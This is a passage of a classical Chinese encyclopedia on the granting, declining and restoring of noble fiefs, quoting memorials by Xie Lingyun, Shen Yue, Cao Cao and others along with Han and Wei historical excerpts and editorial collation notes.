重 . 自 镇 抚 枌 榆 . 永 宁 丰 沛 . 东 凉 既 息 . 北 蔡 无 归 . 代 马 燕 犀 . 气 雄 天 下 . 裹 粮 坐 甲 . 固 敌 是 求 . 方 欲 大 讨 于 秦 崤 . 敦 脩 于 与 睦 . 协 谋 上 相 . 爰 纳 朕 躬 . 思 所 以 敬 答 忠 勋 . 用 申 朝 典 . 可 进 爵 为 长 城 县 公 .\n【 表 】 宋 谢 灵 运 谢 封 康 乐 侯 表 曰 . 昔 强 互 ○ 按 当 作 氐 . 暴 虐 . 恃 僭 历 纪 . 既 噬 五 都 . 志 吞 六 合 . 遂 陷 没 西 河 . 倾 覆 南 汉 . 凌 籍 纪 郢 . 跨 越 淮 泗 . 于 时 策 尽 惟 疑 . 地 险 已 谢 . 咸 惧 君 臣 同 泯 . 有 生 无 余 . 亡 祖 奉 国 威 灵 . 董 符 戎 重 . 尽 心 所 事 . 克 黜 祸 乱 . 功 参 盘 鼎 . 胙 土 南 服 . 逮 至 臣 身 . 值 遭 泰 路 . 日 月 改 晖 . 荣 落 代 运 . 输 税 唐 化 . 生 幸 无 已 . 不 悟 天 道 下 济 . 鸿 均 曲 成 . 乃 眷 遐 绩 . 式 是 兴 征 . 分 虎 钿 ○ 疑 当 作 纽 . 龟 . 复 显 茅 土 . 鸣 玉 拖 绂 . 班 景 元 勋 . 泽 洽 往 德 . 恩 覃 来 胤 . 永 惟 先 踪 . 远 感 崩 结 . 岂 臣 弱 . 所 当 忝 承 . 臣 闻 至 公 无 私 . 甄 善 则 一 . 皇 恩 远 被 . 殊 代 可 侔 . 是 以 信 陵 之 贤 . 简 在 高 祖 之 心 . 望 诸 之 道 . 复 获 隆 汉 之 封 . 观 史 叹 古 . 钦 兹 盛 美 . 岂 谓 荣 渥 . 近 沾 微 躬 . 倾 宗 殒 元 . 心 识 其 会 . 酬 恩 答 厚 . 罔 知 所 由 .\n宋 颜 延 之 谢 子 竣 封 建 城 侯 表 曰 . 伏 见 策 书 . 降 锡 息 竣 开 国 建 城 县 侯 . 爵 逾 三 等 . 户 越 兼 千 . 生 邀 洪 礼 . 身 茂 盛 世 . 阖 宗 革 听 . 尽 室 改 观 . 诚 惭 末 品 . 误 参 其 泰 . 臣 闻 子 之 能 仕 . 父 教 之 忠 . 忠 教 善 信 . 臣 实 负 其 前 诰 . 能 仕 志 政 . 竣 固 暗 于 明 试 . 徒 以 数 遇 会 昌 . 消 忧 启 圣 . 幸 与 灵 祚 福 德 . 共 从 义 勋 分 赏 . 执 珪 登 朝 . 析 金 受 邑 . 庆 重 虑 愆 . 恩 往 惧 积 . 非 臣 耄 蔽 . 所 任 图 报 . 岂 竣 庸 薄 . 所 能 奉 服 .\n梁 沈 约 谢 封 建 昌 侯 表 曰 . 陛 下 投 袂 万 里 . 拯 厥 涂 炭 .\n臣 虽 心 不 吠 尧 . 而 迹 沦 桀 犬 . 此 则 王 业 始 基 . 臣 所 不 与\n. 徒 荷 日 月 之 私 . 竟 无 蒸 烛 之 用 . 天 命 玄 鸟 . 非 止 今 日\n. 受 命 作 周 . 其 来 久 矣 . 虽 复 备 数 乐 推 . 与 同 讴 颂 . 而\n诚 微 弱 草 . 效 阙 纤 尘 . 遂 班 山 河 之 誓 . 叨 佐 命 之 赏 . 亦\n何 以 慰 悦 帷 帐 . 酬 报 爪 牙 .\n又 曰 . 吴 诸 樊 既 除 丧 . 将 立 季 札 . 季 札 辞 曰 . 曹 宣 公 之 卒 . 诸 侯 不 义 曹 君 . 将 立 子 臧 . 子 臧 去 之 . 君 子 曰 . 能 守 节 也 . 谁 敢 奸 君 . 有 国 非 吾 节 也 . 弃 其 室 而 耕 .\n韩 子 曰 . 楚 庄 王 既 胜 晋 于 河 雍 . 归 而 赏 孙 叔 敖 . 叔 敖 请 汉 间 之 地 . 沙 石 之 处 . 楚 国 之 法 . 禄 臣 再 世 收 . 唯 叔 敖 独 存 九 世 . 而 祀 不 绝 .\n汉 书 曰 . 韦 贤 薨 . 子 玄 成 当 为 嗣 . 心 知 非 贤 . 即 乃 佯 狂 . 妄 语 笑 . 既 葬 . 当 袭 爵 . 玄 成 素 有 名 . 疑 其 欲 让 兄 . 遂 奏 劾 之 . 玄 成 不 得 已 . 乃 受 侯 爵 .\n东 观 汉 记 曰 . 窦 融 数 辞 爵 位 . 又 上 疏 曰 . 臣 有 一 子 . 质 性 顽 钝 何 况 乃 当 传 以 连 城 广 土 . 享 诸 侯 之 国 哉 . 他 日 会 见 . ● ○ 东 观 汉 记 作 迎 . 诏 曰 . 欲 让 职 还 土 . 今 相 见 . 不 宜 论 也 .\n又 曰 . 桓 荣 卒 . 子 郁 当 袭 爵 . 让 于 兄 子 . 显 宗 不 许 . 不 得 已 受 封 . 而 悉 以 租 入 与 之 .\n又 曰 . 丁 綝 从 上 渡 河 . 及 封 功 臣 . 上 今 各 言 所 乐 . 谓 綝 曰 . 诸 将 皆 欲 县 . 子 独 求 乡 . 何 也 . 綝 曰 . 昔 孙 叔 敖 敕 其 子 受 封 . 必 求 硗 确 之 地 . 今 綝 能 薄 功 微 . 得 乡 厚 矣 . 上 从 之 . 封 为 定 陵 新 安 乡 侯 . 后 徙 封 陵 阳 侯 .\n又 曰 . 张 纯 临 终 . 谓 家 丞 曰 . 吾 无 功 于 时 . 猥 蒙 爵 土 . 身 死 之 后 . 勿 议 传 国 爵 . 子 奋 . 上 诏 奋 嗣 爵 . 奋 称 纯 遗 旨 . 固 不 肯 受 . 帝 以 奋 违 诏 . 收 下 狱 . 奋 乃 袭 封 .\n又 曰 . 帝 欲 封 樊 ○ 东 观 汉 记 作 阴 . 兴 . 置 印 绶 于 前 . 兴 固 让 曰 . 臣 未 有 先 登 陷 阵 之 功 . 而 一 家 数 人 . 并 蒙 爵 土 . 今 ○ 东 观 汉 记 . 太 平 御 览 二 百 零 一 作 令 . 天 下 觖 望 . 上 嘉 兴 之 让 . 不 夺 其 志 .\n又 曰 . 上 欲 封 诸 舅 . 马 太 后 辄 断 绝 曰 . 计 之 熟 矣 . 有 疑 至 孝 之 行 . 安 亲 为 上 . 今 遭 变 异 . 谷 价 数 倍 . 忧 惶 昼 夜 . 不 安 坐 卧 . 而 欲 封 爵 . 违 逆 慈 母 之 拳 拳 . 吾 素 刚 急 . 有 胸 中 气 . 不 可 不 慎 . 穣 岁 之 后 . 唯 子 之 志 . 吾 但 当 含 饴 弄 孙 . 不 能 复 知 政 .\n魏 志 曰 . 田 畴 从 太 祖 入 卢 龙 塞 . 太 祖 独 欲 侯 之 . 畴 素 与 夏 侯 惇 善 . 太 祖 语 惇 曰 . 且 往 以 情 喻 之 . 答 曰 . 岂 可 卖 卢 龙 塞 以 易 赏 禄 哉 . 纵 国 私 畴 . 畴 独 不 愧 于 心 乎 . 涕 泣 横 流 . 惇 具 答 太 祖 . 太 祖 喟 然 . 知 不 可 屈 . 乃 拜 为 议 郎 .\n晋 起 居 注 曰 . 故 南 城 侯 羊 祜 . 固 辞 历 年 . 志 不 可 夺 . 身 没 让 存 . 遗 操 益 厉 . 此 亦 夷 齐 所 称 贤 也 . 今 听 复 本 封 . 以 彰 厥 美 .\n【 表 】 齐 谢 朓 为 齐 明 帝 让 封 宣 城 公 表 曰 . 如 其 悬 旌 灞 浐 . 刷 马 伊 谷 . 洒 酒 望 属 车 之 尘 . 整 笏 侍 升 平 之 礼 . 陛 下 訏 谟 玄 览 . 钦 若 宏 图 . 鉴 臣 匪 躬 . 共 申 彝 训 . 虽 量 能 之 请 . 近 遂 微 躬 . 则 弘 长 之 风 . 足 轨 来 世 .\n梁 简 文 帝 为 子 心 ○ 按 心 上 当 有 大 字 . 让 当 阳 公 表 曰 . 月 蚀 之 余 . 无 黄 童 之 对 . 荷 戟 入 榛 . 异 子 乌 之 辩 . 遂 复 早 建 茅 社 . 夙 开 井 赋 . 爵 列 五 等 . 绶 参 四 色 . 又 帝 为 子 大 款 让 石 城 公 表 曰 . 诡 对 鹤 书 . 俯 羞 鹈 翼 . 臣 生 处 深 宫 . 未 觌 焦 原 之 险 . 不 出 户 庭 . 岂 观 砥 柱 之 峻 . 臣 闻 坳 塘 泛 水 . 岂 议 大 渎 之 流 . 覆 匮 为 峰 . 终 乖 小 鲁 之 说 .\n又 为 长 子 大 器 让 宣 城 王 表 曰 . 襄 野 之 辩 . 尚 对 轩 君 . 弘 羊 之 计 . 犹 干 汉 主 . 徒 以 结 庆 璇 源 . 乘 荫 霄 极 . 一 日 千 里 . 困 骐 骥 之 驰 . 高 阴 百 尺 . 藉 云 崖 之 远 . 熙 祖 流 聪 慧 之 称 . 方 建 临 淮 之 国 . 元 仲 表 岐 嶷 之 姿 . ○ 原 讹 妾 . 据 冯 校 本 改 . 乃 启 平 原 之 封 . 南 郡 奥 部 . 春 谷 名 区 . 民 化 仲 翔 之 俗 . 山 峻 陵 阳 之 岭 . 而 绿 车 赤 绶 . 交 映 相 晖 . 金 银 券 . 照 灼 光 彩 .\n梁 江 淹 为 齐 高 帝 让 进 爵 为 王 表 曰 . 昔 虞 思 勤 夏 . 不 别 殊 物 之 锡 . 晋 叔 臣 周 . 岂 颁 上 公 之 典 . 鲁 蕃 懿 亲 . 裁 蒙 衮 齐 之 荣 . 梁 国 戚 属 . 方 忝 旌 旗 之 贵 .\n梁 任 昉 为 齐 明 帝 让 宣 城 郡 公 表 曰 . 臣 本 庸 才 . 智 力 浅 短 . 太 祖 高 皇 帝 . 笃 犹 子 之 爱 . 降 家 人 之 慈 . 世 祖 武 皇 帝 . 情 等 布 衣 . 寄 深 同 气 . 武 皇 大 渐 . 实 奉 话 言 . 虽 自 见 之 明 . 庸 近 所 蔽 . 愚 夫 至 此 . 已 实 不 忍 . 自 固 于 缀 衣 之 辰 . 推 违 于 玉 几 之 侧 . 遂 荷 愿 ○ 疑 当 作 顾 . 托 . 道 扬 末 命 . 虽 嗣 君 弃 常 . 获 罪 宣 德 . 王 室 不 造 . 职 臣 之 由 . 何 者 . 亲 则 东 牟 . 任 惟 博 陆 . 徒 怀 子 孟 社 稷 之 对 . 何 救 昌 邑 争 臣 之 讥 . 四 海 之 议 . 于 何 逃 责 . 且 陵 土 未 干 . 训 誓 在 耳 . 家 国 之 事 . 一 至 于 斯 . 非 臣 之 尤 . 谁 任 其 咎 . 将 何 以 肃 拜 高 寝 . 虔 奉 武 园 . 悼 心 失 图 . 泣 血 待 旦 . 宁 容 复 徼 荣 于 愧 耻 . 晏 安 于 国 危 . 且 虚 饰 宠 章 . 委 成 御 侮 . 臣 知 不 惬 物 . 谁 谓 攸 ○ 冯 校 本 作 咸 . 宜 . 命 轻 鸿 毛 . 责 重 山 岳 . 存 没 同 归 . 毁 誉 一 贯 . 辞 一 官 不 减 身 累 . 增 一 职 已 黩 朝 经 . 便 当 自 同 体 国 . 不 为 饰 让 . 至 于 功 均 一 匡 . 赏 同 千 里 . 光 宅 近 甸 . 奄 有 全 邦 . 殒 越 为 期 . 弗 敢 闻 命 . 亦 愿 曲 留 降 鉴 . 即 垂 顺 许 . 乃 君 臣 之 道 . 绰 有 余 裕 . 苟 曰 易 照 . 敢 守 难 夺 .\n梁 沈 约 为 柳 世 隆 让 封 公 表 曰 . 臣 闻 悬 旌 玉 塞 . 贰 师 尚 黜 其 功 . 伐 鼓 炎 州 . 伏 波 犹 惧 其 赏 . 徒 以 兼 委 之 施 . 或 难 固 辞 . 抽 心 之 情 . 必 无 双 夺 . 是 故 俛 容 青 阁 . 愿 还 慈 于 裂 壤 . 窃 步 丹 墀 . 希 收 宠 于 开 赋 . 昔 窜 命 穷 雉 . 难 迫 势 孤 . 沈 板 未 难 . 负 户 非 切 . 及 顾 温 青 ○ 全 梁 文 二 十 七 作 清 . 之 馆 . 惧 结 尊 慈 之 怀 . 累 叶 喁 喁 . 举 门 惴 惴 . 臣 事 逼 君 亲 . 理 非 外 奖 . 实 赖 朝 谟 谨 肃 . 宰 略 遐 震 . 奔 鲸 外 剿 . 臣 何 力 焉 . 幸 得 扶 老 携 弱 . 重 出 幽 堵 . 还 轴 归 骖 . 再 践 乡 路 . 岂 可 资 国 眚 以 邀 其 功 . 因 豕 ○ 全 梁 文 作 众 . 功 而 飨 其 报 . 遂 使 甘 霜 受 电 之 心 . 有 同 于 饰 请 . 皎 日 大 河 之 志 . 匪 殊 于 貌 谒 .\n【 书 】 魏 武 帝 上 书 让 增 封 曰 . 无 非 常 之 功 . 而 受 非 常 之 福 . 是 用 忧 结 比 章 . 归 闻 天 慈 无 已 . 未 即 听 许 . 臣 虽 不 敏 . 犹 知 让 不 过 三 . 所 以 仍 布 腹 心 . 至 于 四 五 . 上 欲 陛 下 爵 不 失 实 . 下 为 臣 身 免 于 苟 取 .\n又 上 书 让 封 曰 . 臣 诛 除 暴 逆 . 克 定 二 州 . 四 方 来 贡 . 以 为 臣 之 功 . 萧 相 国 以 关 中 之 劳 . 一 门 受 封 . 邓 禹 以 河 北 之 勤 . 连 城 食 邑 . 考 功 效 实 . 非 臣 之 勋 . 臣 祖 父 中 常 侍 侯 . 时 但 从 辇 . 扶 翼 左 右 . 既 非 首 谋 . 又 不 奋 戟 . 并 受 爵 封 . 暨 臣 三 叶 . 臣 闻 易 豫 卦 曰 . 利 建 侯 . 行 师 有 功 . 乃 当 进 立 以 为 诸 侯 也 . 又 讼 卦 六 三 曰 . 食 旧 德 . 或 从 王 事 . 谓 先 祖 有 大 德 . 若 从 王 事 有 功 者 . 子 孙 乃 得 食 其 禄 也 . 伏 惟 陛 下 . 垂 干 坤 之 仁 . 降 云 雨 之 润 . 远 录 先 臣 扶 掖 之 节 . 采 臣 在 戎 犬 马 之 用 . 优 策 褒 崇 . 光 曜 显 量 . 非 臣 顽 . 所 能 克 堪 .\n又 上 书 让 费 亭 侯 曰 . 臣 伏 读 前 后 策 命 . 既 录 臣 庸 才 微 功 . 乃 复 追 ○ 原 讹 退 . 据 冯 校 本 改 . 述 先 臣 . 幽 赞 显 扬 . 见 得 思 义 . 屏 营 怖 惧 . 未 知 首 领 . 所 当 所 授 . 故 古 人 忠 臣 或 有 连 城 而 不 辞 . 或 有 一 邑 而 违 命 . 所 以 然 者 . 欲 必 正 其 名 也 . 又 礼 制 . 诸 侯 国 土 以 绝 . 子 孙 有 功 者 . 当 更 受 封 . 不 得 增 袭 . 其 有 所 增 者 . 谓 国 未 绝 也 . 或 有 所 袭 者 . 谓 先 祖 功 大 也 . 数 未 极 . 无 故 断 绝 . 故 追 绍 之 也 . 臣 自 三 省 . 先 臣 虽 有 扶 辇 微 劳 . 不 应 受 爵 . 岂 逮 臣 三 叶 . 若 录 臣 关 东 微 功 . 皆 祖 宗 之 灵 佑 . 陛 下 之 圣 德 . 岂 臣 愚 陋 . 何 能 克 堪 .\n又 上 书 让 增 封 武 平 侯 及 费 亭 侯 曰 . 伏 自 三 省 . 姿 质 顽\n素 . 材 志 鄙 下 . 进 无 匡 辅 之 功 . 退 有 拾 遗 之 美 . 虽 有 犬\n马 微 劳 . 非 独 臣 力 . 皆 由 部 曲 将 校 之 助 . 陛 下 前 追 念 先\n臣 微 功 . 使 臣 续 袭 爵 土 . 祖 考 蒙 光 照 之 荣 . 臣 受 不 赀 之\n分 . 未 有 丝 发 . 以 自 报 效 . 昔 齐 侯 欲 更 晏 婴 之 宅 . 婴 曰\n. 臣 之 先 容 焉 . 臣 不 足 以 继 之 . 卒 违 公 命 . 以 成 私 志 .\n臣 自 顾 省 . 不 克 负 荷 . 食 旧 为 幸 . 虽 上 德 在 弘 . 下 有 因\n割 . 臣 三 叶 累 宠 . 皆 统 极 位 . 义 在 殒 越 . 岂 敢 饰 辞 .\n汉 书 曰 . 汉 兴 . 外 戚 与 定 天 下 . 侯 者 三 人 . 后 父 据 春 秋 褒 纪 之 美 . 帝 舅 缘 大 雅 申 伯 之 恩 . 浸 广 博 矣 .\n又 曰 . 高 祖 封 吕 后 父 吕 公 为 临 泗 侯 . 兄 泽 为 周 吕 侯 .\n又 曰 . 文 帝 封 后 弟 薄 昭 为 轵 侯 . 又 封 齐 淮 南 王 舅 驷 钧 等 二 人 为 侯 .\n又 曰 . 景 帝 封 太 后 弟 侄 窦 广 国 为 章 武 侯 . 窦 彭 祖 为 南 皮 侯 . 窦 婴 以 破 吴 楚 功 . 封 魏 其 侯 . 后 弟 王 信 为 益 静 侯 .\n又 . 河 平 二 年 . 上 悉 封 舅 谭 为 平 阿 侯 . 商 成 都 侯 . 根 曲 阳 侯 . 逢 时 高 平 侯 . 立 红 阳 侯 . 五 人 同 日 封 . 故 世 谓 之 五 侯 .\n又 曰 . 武 帝 封 太 后 同 母 弟 田 蚡 为 武 安 侯 . 胜 周 阳 侯 . 皇 后 子 ○ 原 讹 乎 . 据 冯 校 本 改 . 霍 去 病 . 伐 匈 奴 . 封 冠 军 侯 .\n东 观 汉 记 曰 . 马 防 兄 弟 三 人 . 各 六 千 户 . 防 为 颖 阳 侯 . 特 以 前 参 医 药 勤 劳 . 绥 定 西 羌 . 以 襄 城 羹 亭 一 千 二 百 户 增 防 . 防 身 带 三 绶 . 宠 贵 至 盛 .\n又 . 光 武 封 新 野 王 ○ 后 汉 书 五 邓 晨 传 作 主 . 子 邓 泛 为 吴 ○ 后 汉 书 吴 下 有 房 字 . 此 脱 . 侯 . 伯 父 皇 皇 考 子 周 均 为 富 波 侯 . 追 封 外 祖 樊 重 为 寿 张 侯 . 重 子 丹 为 射 阳 侯 . 孙 茂 为 平 望 侯 . 彝 ○ 东 观 汉 记 作 寻 . 乡 ○ 东 观 汉 记 乡 上 有 元 字 . 此 脱 . 侯 . 从 子 冲 更 父 侯 . 后 父 阴 隆 . ○ 东 观 汉 记 作 睦 . 宣 阳 侯 . 子 识 原 鹿 侯 . 就 为 信 阳 侯 . 皇 考 女 弟 子 来 歙 征 羌 侯 . 弟 由 宜 西 侯 . 以 宁 平 公 主 子 李 雄 为 新 市 侯 . 后 父 郭 昌 为 阳 安 侯 . 子 ● 绵 曼 侯 . 兄 子 竟 新 郪 侯 . 匡 发 干 侯 . 以 姨 子 冯 邯 为 钟 离 侯 .\n又 曰 . 明 帝 封 太 后 弟 阴 兴 为 鲖 阳 侯 . 子 傅 隐 强 侯 . 阴 盛 为 无 锡 侯 . 楚 王 舅 子 许 昌 龙 舒 侯 .\n又 曰 . 邓 训 自 中 兴 后 . 累 世 宠 贵 . 凡 侯 者 二 十 九 人 . 东 京 莫 比 . 魏 志 曰 . 文 帝 欲 追 封 太 后 母 父 . 尚 书 傅 群 议 . 自 古 无 妇 人 分 王 命 爵 之 制 . 秦 违 古 法 . 汉 氏 因 之 . 非 先 王 之 令 典 也 . 帝 曰 . 此 议 是 也 .\n【 表 】 晋 庾 亮 让 封 公 表 曰 . 观 圣 贤 之 于 名 爵 . 敬 戒 之\n甚 重 . 岂 先 哲 宜 重 之 于 古 . 而 圣 朝 可 轻 之 于 今 耶 . 譬 犹\n回 太 阳 以 消 湛 露 . 运 沧 海 以 灌 燎 火 . 其 功 易 成 . 其 事 易\n立 .\n陈 留 风 俗 传 曰 . 封 丘 者 . 高 祖 与 项 氏 战 . 厄 于 延 乡 . 有 翟 母 者 免 其 难 . 故 以 延 乡 为 封 丘 县 . 以 封 翟 母 焉 .\n【 表 】 魏 陈 王 曹 植 谢 妻 改 封 表 曰 . 玺 书 今 以 东 阿 王 妃 为 陈 王 妃 . 并 下 印 . 绶 因 故 . 上 前 所 假 印 . 以 其 拜 授 书 以 即 日 到 . 臣 辄 奉 诏 拜 . 其 才 质 底 下 . 谬 同 受 私 . 遇 宠 素 餐 . 臣 为 其 首 . 陛 下 体 干 坤 育 物 之 德 . 东 海 含 容 之 大 . 乃 后 随 例 . 显 封 大 国 . 光 扬 章 灼 . 非 臣 负 薪 之 才 . 所 宜 克 当 . 非 臣 秽 衅 . 所 宜 蒙 获 . 夙 夜 忧 叹 . 念 报 罔 极 . 洪 施 遂 隆 . 既 荣 枝 干 . 猥 复 正 臣 妃 为 陈 妃 . 熠 燿 宣 朗 . 非 妾 妇 惷 愚 . 所 当 蒙 被 . 葵 藿 草 物 . 犹 感 恩 养 . 况 臣 含 气 . 衔 佩 弘 惠 . 没 而 后 已 . 诚 非 翰 墨 屡 辞 . 所 能 报 答 .\n梁 沈 约 谢 母 封 建 昌 国 太 夫 人 表 曰 . 伏 见 诏 书 . 以 臣 母 封 为 建 昌 国 太 夫 人 . 庆 溢 蓬 门 . 荣 流 素 族 . 恭 荷 屏 营 . 罔 识 攸 窴 . 臣 禀 训 私 闺 . 志 涂 靡 立 . 勉 以 为 义 . 诚 有 由 然 . 输 力 致 身 . 曾 无 万 一 . 天 慈 罔 已 . 至 德 弥 光 . 探 其 私 志 . 降 此 洪 泽 . 荣 亲 之 至 . 始 自 微 臣 . 率 斯 道 也 . 方 流 万 物 . 草 卉 轻 命 . 固 莫 云 酬 .\n又 为 长 城 公 主 谢 表 曰 . 奉 策 书 . 封 妾 为 长 城 县 公 主 . 徽 命 降 临 . 惭 腆 妄 窴 . 妾 膺 灵 禀 气 . 育 景 璇 闺 . 弱 志 易 沦 . 柔 德 难 树 . 虽 复 式 脩 姆 保 . 莫 敢 或 遑 . 而 肃 雍 不 着 . 秾 华 盖 阙 . 不 悟 宸 晖 曲 渐 . 彝 章 夙 贲 . 籍 此 恩 加 . 遽 延 典 策 . 汤 沐 光 启 . 珩 绲 昭 被 .\n梁 王 僧 孺 为 南 平 王 妃 拜 改 封 表 曰 . 拜 妾 为 南 平 王 妃 . 奉 命 震 惭 . 有 灼 丹 寸 . 妾 瞻 丝 望 帨 . 且 或 多 惭 . 镜 史 观 图 . 是 焉 知 愧 . 以 兹 眇 薄 . 有 俪 蕃 仪 . 紃 组 不 闻 . 饘 盖 阙 . 不 悟 玄 造 曲 被 . 徽 渥 愈 臻 . 改 服 ● 名 . 事 华 品 贵 . 恩 深 外 邸 . 荣 照 下 庭 . 岂 期 輶 弱 . 所 能 胜 荷 .\n【 表 】 宋 谢 庄 为 尚 书 八 座 改 封 郡 长 公 主 奏 曰 . 臣 闻 爵\n厚 懿 戚 . 国 之 恒 典 . 景 祚 既 新 . 礼 与 时 渥 . 永 兴 等 七 公\n主 . 可 封 郡 长 公 主 .\n左 传 曰 . 郑 子 产 曰 . 昔 虞 过 ○ 左 传 襄 二 十 五 年 作 阏 . 父 为 陶 正 . 以 服 事 我 先 王 . 先 王 赖 其 利 器 用 . 与 其 神 明 之 后 也 . 庸 以 元 女 太 姬 配 胡 公 . 而 封 诸 陈 . 以 备 三 恪 .\n史 记 曰 . 高 帝 过 赵 . 问 乐 毅 有 后 乎 . 得 乐 臣 叔 . 封 之 嚣 乡 . 号 华 成 君 . 成 君 毅 之 孙 也 .\n汉 书 曰 . 自 古 受 命 及 中 兴 之 君 . 必 兴 灭 继 绝 . 修 废 举 逸 . 然 后 天 下 归 仁 . 四 方 之 政 行 焉 . 传 称 武 王 克 殷 . 追 存 贤 圣 . 至 乎 不 及 下 车 . 世 代 虽 殊 . 其 揆 一 也 . 高 祖 拨 乱 . 日 不 暇 给 . 然 犹 脩 祀 六 国 . 求 ○ 原 讹 永 . 据 冯 校 本 改 . 聘 四 皓 . 过 魏 则 宠 无 忌 之 墓 . 适 赵 则 封 乐 毅 之 后 . 孝 武 畴 咨 前 代 . 初 得 周 后 . 复 知 ○ 汉 书 十 八 作 加 . 爵 邑 . 元 成 之 间 . 晚 得 殷 世 . 以 备 宾 位 .\n又 曰 . 武 帝 还 过 洛 阳 . 二 三 代 邈 远 . 以 其 三 十 里 地 . 封 周 后 为 周 子 南 君 .\n又 曰 . 高 祖 功 臣 侯 者 . 子 孙 骄 逸 . 多 陷 法 禁 . 讫 于 孝 武 . 靡 有 孑 遗 . 于 是 成 帝 复 绍 萧 何 . 而 哀 平 之 世 . 曹 参 周 勃 之 后 .\n又 曰 . 元 康 四 年 . 立 靳 翕 夏 侯 婴 陈 平 张 良 周 勃 等 一 百 一 十 八 人 后 . 绍 爵 复 家 也 .\n又 . 汉 武 元 狩 中 . 复 以 酂 户 二 千 四 百 . 封 萧 何 曾 孙 庆 为 酂 侯 . 布 告 天 下 . 令 明 知 朕 报 以 萧 相 国 德 庆 厚 也 .\n东 观 汉 记 曰 . 高 祖 功 臣 . 萧 曹 为 首 . 有 传 世 不 绝 之 谊 . 曹 相 国 后 容 城 侯 无 嗣 . 朕 甚 愍 焉 . 望 长 陵 东 门 . 见 二 臣 之 墓 . 生 既 有 节 . 终 不 远 身 . 谊 臣 受 宠 . 古 今 所 同 . 遣 使 者 以 中 牢 祷 . 大 鸿 胪 悉 求 近 亲 . 宜 为 嗣 者 . 顷 ○ 东 观 汉 记 作 须 . 景 风 ○ 原 讹 夙 . 据 冯 校 本 改 . 绍 封 . 以 彰 厥 功 .\n晋 阳 秋 曰 . 夏 侯 惇 . 魏 之 元 功 . 勋 书 竹 帛 . 昔 庭 坚 不 祀 . ○ 原 讹 死 . 据 冯 校 本 改 . 犹 或 悼 之 . 况 朕 受 终 于 魏 . 而 可 忘 其 功 臣 哉 . 其 择 惇 近 属 封 之 .\n晋 中 兴 书 曰 . 泰 元 二 年 . 兴 灭 继 绝 后 . 故 陈 骞 后 浩 之 为 高 平 公 . 裴 秀 后 球 为 钜 鹿 公 . 王 沉 后 朴 之 为 博 陵 公 . 荀 勖 后 轨 为 济 北 侯 . 何 曾 后 阐 为 朗 陵 侯 . 羊 祜 后 法 兴 为 钜 平 侯 .\n又 曰 . 元 帝 绍 封 魏 后 曹 励 为 陈 留 王 .\n【 表 】 魏 武 帝 谢 袭 费 亭 侯 表 曰 . 不 悟 陛 下 . 乃 寻 臣 祖 父 厕 豫 功 臣 . 克 定 寇 逆 . 援 立 孝 顺 皇 帝 . 谓 操 不 忘 . 获 封 茅 土 . 圣 恩 明 发 . 远 念 桑 梓 . 日 以 臣 为 忠 孝 之 苗 . 不 复 量 臣 材 之 丰 否 . 既 勉 袭 爵 邑 . 忝 厥 祖 考 . 复 宠 上 将 鈇 钺 之 任 . 兼 领 大 州 万 里 之 宪 . 内 比 鼎 臣 . 外 参 二 伯 . 身 荷 兼 绂 之 荣 . 本 枝 赖 无 穷 之 祚 也 . 昔 大 彭 辅 殷 . 昆 吾 翼 夏 . 功 成 事 就 . 乃 备 爵 锡 臣 . 束 脩 无 称 . 统 御 无 绩 . 比 荷 殊 宠 . 策 命 褒 绩 . 未 盈 一 时 . 三 命 交 至 . 双 金 重 紫 . 显 以 方 任 . 虽 不 识 义 . 庶 知 所 尤 . ○ 冯 校 本 作 死 .\n又 郭 嘉 有 功 早 ○ 原 作 臣 . 据 冯 校 本 改 . 死 宜 追 赠 封 表 曰 . 臣 闻 褒 忠 示 宠 . 未 必 当 身 . 念 功 惟 绩 . 恩 隆 后 嗣 . 是 以 楚 宗 孙 叔 敖 . 显 封 厥 子 . 岑 彭 既 没 . 爵 及 枝 庶 . 诚 贤 君 殷 勤 于 清 良 . 圣 祖 敦 笃 于 明 勋 也 . 故 军 祭 酒 洧 阳 亭 侯 颖 川 郭 嘉 . 立 身 着 行 . 称 成 乡 邦 . 与 臣 参 事 . 尽 节 为 国 . 臣 今 日 所 以 免 戾 . 嘉 与 其 功 . 方 将 表 显 . 使 赏 足 以 报 效 . 薄 命 天 陨 . 不 终 美 志 . 上 为 陛 下 悼 借 ○ 疑 当 作 惜 . 良 臣 . 下 自 毒 恨 . 丧 失 奇 佐 . 昔 霍 去 病 蚤 死 . 孝 武 为 之 咨 嗟 . 祭 遵 不 究 功 业 . 世 祖 望 柩 悲 恸 . 仁 恩 降 下 . 念 发 五 内 . 今 嘉 陨 命 . 诚 足 怜 伤 .\n梁 任 昉 为 褚 蓁 代 兄 袭 封 表 曰 . 一 日 被 司 徒 符 印 . 称 诏 二 日 许 臣 兄 贲 所 请 . 以 臣 绍 封 南 康 郡 公 . 臣 世 属 启 圣 . 运 偶 时 来 . 尚 德 畴 庸 . 先 锡 土 宇 . 臣 贲 载 世 承 家 . 兄 居 长 德 . 而 量 己 夙 退 . 内 事 园 蔬 . 以 臣 行 达 幽 明 . 早 酷 荼 苦 . 贲 天 伦 冥 至 . 友 爱 淳 深 . 非 直 引 塉 推 温 . 故 能 逃 迹 让 位 . 鞠 育 提 养 . 以 及 人 次 . 事 死 让 生 . 尚 均 脱 屣 . 取 信 十 室 . 本 若 锱 铢 . 乃 远 谬 推 恩 . 近 沾 庸 薄 . 能 以 国 让 . 弘 义 有 归 . 匹 夫 难 夺 . 守 以 勿 二 . 昔 武 始 迫 家 臣 之 策 . 陵 阳 感 鲍 子 之 言 . 张 以 诚 请 . 丁 为 理 屈 . 且 大 宗 绝 绪 . 命 臣 出 缵 傍 统 . 禀 承 在 昔 . 理 绝 终 天 . 永 怀 情 事 . 触 感 崩 裂 . 伏 惟 陛 下 . 俯 权 孤 门 哀 荣 之 重 . 爰 夺 臣 贲 一 至 之 轻 . 察 其 丹 款 . 特 赐 停 绝 . 至 公 允 穆 . 微 臣 克 幸 .\n又 表 曰 . 近 冒 披 款 . 庶 蒙 哀 亮 . 奉 被 还 诏 . 未 垂 矜 允 . 伏 读 周 遑 . 罔 置 心 诚 . 臣 本 凡 劣 . 身 名 不 限 . 摽 一 善 不 足 以 验 风 流 . 存 小 让 不 足 以 弘 进 止 . 若 乃 富 埒 千 驷 . 贵 有 邦 家 . 二 者 之 来 . 不 期 而 至 . 中 人 犹 其 趑 趄 . 凡 近 固 宜 勉 勖 . 直 以 门 绪 有 归 . 长 德 无 二 . 若 使 贲 高 延 陵 之 风 . 臣 忘 子 臧 之 节 . 是 废 德 举 . 岂 曰 能 贤 . 陛 下 留 心 孤 门 . 特 深 追 远 . 故 臣 穷 必 呼 天 . 凭 威 咫 尺 . 贲 婴 疾 沉 固 . 公 私 废 礼 . 逢 不 